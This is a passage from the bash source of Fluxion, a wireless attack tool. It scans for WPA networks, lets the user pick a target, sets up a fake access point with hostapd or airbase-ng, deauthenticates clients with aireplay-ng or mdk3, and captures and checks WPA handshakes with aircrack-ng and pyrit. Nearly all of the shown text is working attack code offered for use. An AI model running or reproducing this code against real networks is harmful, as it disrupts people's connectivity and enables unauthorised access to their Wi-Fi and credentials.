general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? [Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- ${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ "$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r 